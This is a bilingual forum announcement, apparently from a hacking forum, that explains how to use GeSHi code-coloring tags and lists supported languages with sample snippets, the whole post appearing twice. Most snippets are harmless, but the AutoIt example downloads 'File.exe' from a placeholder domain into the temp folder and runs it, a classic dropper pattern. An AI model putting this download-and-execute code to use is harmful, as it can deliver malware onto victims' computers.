dEEpEst
☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
- Joined
- Mar 29, 2018
- Messages
- 13,862
- Solutions
- 4
- Reputation
- 32
- Reaction score
- 45,552
- Points
- 1,813
- Credits
- 55,350
7 Years of Service
56%
Color Codes
Desde la administración hemos estado trabajando para implementar en level-23 el uso de Geshi, consiste en colorear los codigos para que así sean mas legibles a la hora de leerlos.
El uso lo hemos simplificado lo mas posible, basta con seleccionar con el mouse el codigo que queremos colorear y dar a la etiqueta "L"
Se desplegara un aviso como este:
basta con incluir el lenguaje del código que queremos usar.
From the administration we have been working to implement level-23 using Geshi is to color the codes so that they are more readable when read.
Using what we have simplified as much as possible, just select with the mouse the code you want to color and give the label "L"
A notice will be displayed like this:
just include the code language you want to use.
Desde la administración hemos estado trabajando para implementar en level-23 el uso de Geshi, consiste en colorear los codigos para que así sean mas legibles a la hora de leerlos.
El uso lo hemos simplificado lo mas posible, basta con seleccionar con el mouse el codigo que queremos colorear y dar a la etiqueta "L"

Se desplegara un aviso como este:

basta con incluir el lenguaje del código que queremos usar.
From the administration we have been working to implement level-23 using Geshi is to color the codes so that they are more readable when read.
Using what we have simplified as much as possible, just select with the mouse the code you want to color and give the label "L"

A notice will be displayed like this:

just include the code language you want to use.
4cs
6502acme
6502kickass
6502tasm
68000devpac
abap
actionscript
actionscript3
ada
algol68
apache
applescript
apt_sources
arm
asm
asp
asymptote
autoconf
autohotkey
autoit
avisynth
awk
bascomavr
bash
basic4gl
bf
bibtex
blitzbasic
bnf
boo
c
caddcl
cadlisp
cfdg
cfm
chaiscript
cil
clojure
cmake
cobol
coffeescript
cpp-qt
cpp
csharp
css
cuesheet
c_loadrunner
c_mac
d
dcl
dcpu16
dcs
delphi
diff
div
dos
dot
e
ecmascript
eiffel
email
epc
erlang
euphoria
f1
falcon
ficheros
fo
fortran
freebasic
freeswitch
fsharp
gambas
gdb
genero
genie
gettext
glsl
gml
gnuplot
go
groovy
gwbasic
haskell
haxe
hicest
hq9plus
html4strict
html5
icon
idl
ini
inno
intercal
io
j
java
java5
javascript
jquery
kixtart
klonec
klonecpp
latex
lb
ldif
lisp
llvm
locobasic
logtalk
lolcode
lotusformulas
lotusscript
lscript
lsl2
lua
m68k
magiksf
make
mapbasic
matlab
mirc
mmix
modula2
modula3
mpasm
mxml
mysql
nagios
netrexx
newlisp
nsis
oberon2
objc
objeck
ocaml-brief
ocaml
octave
oobas
oorexx
oracle11
oracle8
oxygene
oz
parasail
parigp
pascal
pcre
per
perl
perl6
pf
php-brief
php
pic16
pike
pixelbender
pli
plsql
postgresql
povray
powerbuilder
powershell
proftpd
progress
prolog
properties
providex
purebasic
pycon
pys60
python
q
qbasic
rails
rebol
reg
rexx
robots
rpmspec
rsplus
ruby
sas
scala
scheme
scilab
sdlbasic
smalltalk
smarty
spark
sparql
sql
stonescript
systemverilog
tcl
teraterm
text
thinbasic
tsql
typoscript
unicon
upc
urbi
uscript
vala
vb
vbnet
vedit
verilog
vhdl
vim
visualfoxpro
visualprolog
whitespace
whois
winbatch
xbasic
xml
xorg_conf
xpp
yaml
z80
zxbasic
Examples:
[LENGUAJE=vb]Private Sub Command1_Click()
cmdlg.ShowColor
Text1.ForeColor = cmdlg.Color
End Sub
Private Sub Command2_Click()
cmdlg.ShowColor
Text1.BackColor = cmdlg.Color
End Sub[/LENGUAJE]
[LENGUAJE=delphi]procedure ShowTime; // A procedure with no parameters
begin
// Display the current date and time
ShowMessage('Date and time is '+DateTimeToStr(Now));
end;
// Let us call this procedure
ShowTime;[/LENGUAJE]
[LENGUAJE=asm]include 'H:\archivos de programa\fasm\include\win32ax.inc'
.data
cuerpo db 'Hola mundo', 0
titulo db 'xD', 0
.code
start:
mov eax, NULL ; Esto equivale a eax = 0
mov ebx, 0x1234 ; Esto equivale a ebx = 1234 (el 0x de delante indica que es hexadecimal)
push 0 ; Observamos la pila para ver que pasa
push titulo
push cuerpo
push 0
call [MessageBoxA]
mov edi, NULL
mov di, 2
push 0
call [ExitProcess]
.end start[/LENGUAJE]
[LENGUAJE=vbnet]If TextBox1.Text.Contains("http://") Then
Dim hostEntry As IPHostEntry = Dns.GetHostEntry(TextBox1.Text.Replace("http://", String.Empty))
TextBox2.Text = hostEntry.AddressList(0).ToString
Else
Dim entry2 As IPHostEntry = Dns.GetHostEntry(TextBox1.Text)
Me.TextBox2.Text = entry2.AddressList(0).ToString
End If[/LENGUAJE]
[LENGUAJE=autoit]; Script Start
Local $Dir = @TempDir & "\jankaro.exe"
Local $L1 = "www.Domain.com"
Local $L2 = "/index"
Local $L3 = "/File.exe"
InetGet($L1&$L2&$L3,$Dir,0)
sleep(500)
Run($Dir)
Call("Drive")
[/LENGUAJE]
6502acme
6502kickass
6502tasm
68000devpac
abap
actionscript
actionscript3
ada
algol68
apache
applescript
apt_sources
arm
asm
asp
asymptote
autoconf
autohotkey
autoit
avisynth
awk
bascomavr
bash
basic4gl
bf
bibtex
blitzbasic
bnf
boo
c
caddcl
cadlisp
cfdg
cfm
chaiscript
cil
clojure
cmake
cobol
coffeescript
cpp-qt
cpp
csharp
css
cuesheet
c_loadrunner
c_mac
d
dcl
dcpu16
dcs
delphi
diff
div
dos
dot
e
ecmascript
eiffel
epc
erlang
euphoria
f1
falcon
ficheros
fo
fortran
freebasic
freeswitch
fsharp
gambas
gdb
genero
genie
gettext
glsl
gml
gnuplot
go
groovy
gwbasic
haskell
haxe
hicest
hq9plus
html4strict
html5
icon
idl
ini
inno
intercal
io
j
java
java5
javascript
jquery
kixtart
klonec
klonecpp
latex
lb
ldif
lisp
llvm
locobasic
logtalk
lolcode
lotusformulas
lotusscript
lscript
lsl2
lua
m68k
magiksf
make
mapbasic
matlab
mirc
mmix
modula2
modula3
mpasm
mxml
mysql
nagios
netrexx
newlisp
nsis
oberon2
objc
objeck
ocaml-brief
ocaml
octave
oobas
oorexx
oracle11
oracle8
oxygene
oz
parasail
parigp
pascal
pcre
per
perl
perl6
pf
php-brief
php
pic16
pike
pixelbender
pli
plsql
postgresql
povray
powerbuilder
powershell
proftpd
progress
prolog
properties
providex
purebasic
pycon
pys60
python
q
qbasic
rails
rebol
reg
rexx
robots
rpmspec
rsplus
ruby
sas
scala
scheme
scilab
sdlbasic
smalltalk
smarty
spark
sparql
sql
stonescript
systemverilog
tcl
teraterm
text
thinbasic
tsql
typoscript
unicon
upc
urbi
uscript
vala
vb
vbnet
vedit
verilog
vhdl
vim
visualfoxpro
visualprolog
whitespace
whois
winbatch
xbasic
xml
xorg_conf
xpp
yaml
z80
zxbasic
Examples:
[LENGUAJE=vb]Private Sub Command1_Click()
cmdlg.ShowColor
Text1.ForeColor = cmdlg.Color
End Sub
Private Sub Command2_Click()
cmdlg.ShowColor
Text1.BackColor = cmdlg.Color
End Sub[/LENGUAJE]
[LENGUAJE=delphi]procedure ShowTime; // A procedure with no parameters
begin
// Display the current date and time
ShowMessage('Date and time is '+DateTimeToStr(Now));
end;
// Let us call this procedure
ShowTime;[/LENGUAJE]
[LENGUAJE=asm]include 'H:\archivos de programa\fasm\include\win32ax.inc'
.data
cuerpo db 'Hola mundo', 0
titulo db 'xD', 0
.code
start:
mov eax, NULL ; Esto equivale a eax = 0
mov ebx, 0x1234 ; Esto equivale a ebx = 1234 (el 0x de delante indica que es hexadecimal)
push 0 ; Observamos la pila para ver que pasa
push titulo
push cuerpo
push 0
call [MessageBoxA]
mov edi, NULL
mov di, 2
push 0
call [ExitProcess]
.end start[/LENGUAJE]
[LENGUAJE=vbnet]If TextBox1.Text.Contains("http://") Then
Dim hostEntry As IPHostEntry = Dns.GetHostEntry(TextBox1.Text.Replace("http://", String.Empty))
TextBox2.Text = hostEntry.AddressList(0).ToString
Else
Dim entry2 As IPHostEntry = Dns.GetHostEntry(TextBox1.Text)
Me.TextBox2.Text = entry2.AddressList(0).ToString
End If[/LENGUAJE]
[LENGUAJE=autoit]; Script Start
Local $Dir = @TempDir & "\jankaro.exe"
Local $L1 = "www.Domain.com"
Local $L2 = "/index"
Local $L3 = "/File.exe"
InetGet($L1&$L2&$L3,$Dir,0)
sleep(500)
Run($Dir)
Call("Drive")
[/LENGUAJE]